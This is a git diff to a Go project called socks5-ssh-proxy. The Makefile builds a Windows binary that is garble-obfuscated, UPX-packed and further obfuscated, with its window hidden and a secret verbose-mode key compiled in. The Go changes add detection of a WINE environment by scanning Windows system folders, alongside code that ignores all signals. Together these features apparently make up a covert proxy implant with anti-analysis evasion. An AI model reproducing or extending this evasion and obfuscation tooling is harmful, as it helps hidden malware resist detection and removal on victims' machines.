diff --git a/Makefile b/Makefile index 293e077..7d76bcf 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,7 @@ SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go GARBLE_BIN = $(shell go env GOPATH)/bin/garble GARBLE_CMD = $(GARBLE_BIN) -literals -tiny +RELEASE_VERBOSE_MODE_KEY ?= "" all: socks5-ssh-proxy @@ -20,7 +21,7 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN) upx $@ win: socks5-ssh-proxy.exe socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES) - GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@ + GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@ upx $@ go run cmd/upx-obfuscator/main.go $@ goreleaser: resources $(GARBLE_BIN) diff --git a/main.go b/main.go index 3fff4ae..35a730b 100644 --- a/main.go +++ b/main.go @@ -133,7 +133,8 @@ func main() { log.Println("SOCKS5 Addr", proxyServerURL) - systemGetWellKnownBinaryPaths() + systemOSDetect() + systemGetWellKnownExistingPaths() mainLoop() } diff --git a/system.go b/system.go index 5d9c263..8cd4f1a 100644 --- a/system.go +++ b/system.go @@ -6,6 +6,7 @@ import ( "os" "os/signal" "path/filepath" + "strings" ) // Route all logging @@ -45,6 +46,21 @@ func systemIsDirExisting(path string) bool { return info.IsDir() } +func systemGetFilesInDirectory(path string) ([]string, bool) { + var filesInDirectory []string + + files, err := os.ReadDir(path) + if err != nil { + return nil, false + } + + for _, file := range files { + filesInDirectory = append(filesInDirectory, file.Name()) + } + + return filesInDirectory, true +} + func systemIsFileExisting(path string) bool { // Get file info info, err := os.Stat(path) @@ -61,7 +77,35 @@ func systemIsFileExisting(path string) bool { return !info.IsDir() } -func systemGetWellKnownBinaryPaths() []string { +func systemGetSysWOW64Files() []string { + sysWOW64Path := filepath.Join("C:", "Windows", "SysWOW64") + files, _ := systemGetFilesInDirectory(sysWOW64Path) + return files +} + +func systemGetSystem32Files() []string { + system32Path := filepath.Join("C:", "Windows", "system32") + files, _ := systemGetFilesInDirectory(system32Path) + return files +} + +func systemGetWellKnownWINEOSFiles() []string { + var wineFiles []string + var foundFiles []string + + foundFiles = append(foundFiles, systemGetSysWOW64Files()...) + foundFiles = append(foundFiles, systemGetSystem32Files()...) + + for _, file := range foundFiles { + if strings.Contains(file, "wine") && strings.Contains(file, ".exe") { + wineFiles = append(wineFiles, file) + } + } + + return wineFiles +} + +func systemGetWellKnownExistingPaths() []string { var existingPaths []string appDataPath := systemGetAppDataPath() @@ -110,3 +154,13 @@ func systemIgnoreAllSignals() { } }() } + +func systemOSDetect() { + wineOSFiles := systemGetWellKnownWINEOSFiles() + if len(wineOSFiles) != 0 { + log.Println("WINE detected") + for _, file := range wineOSFiles { + log.Println("\t", file) + } + } +}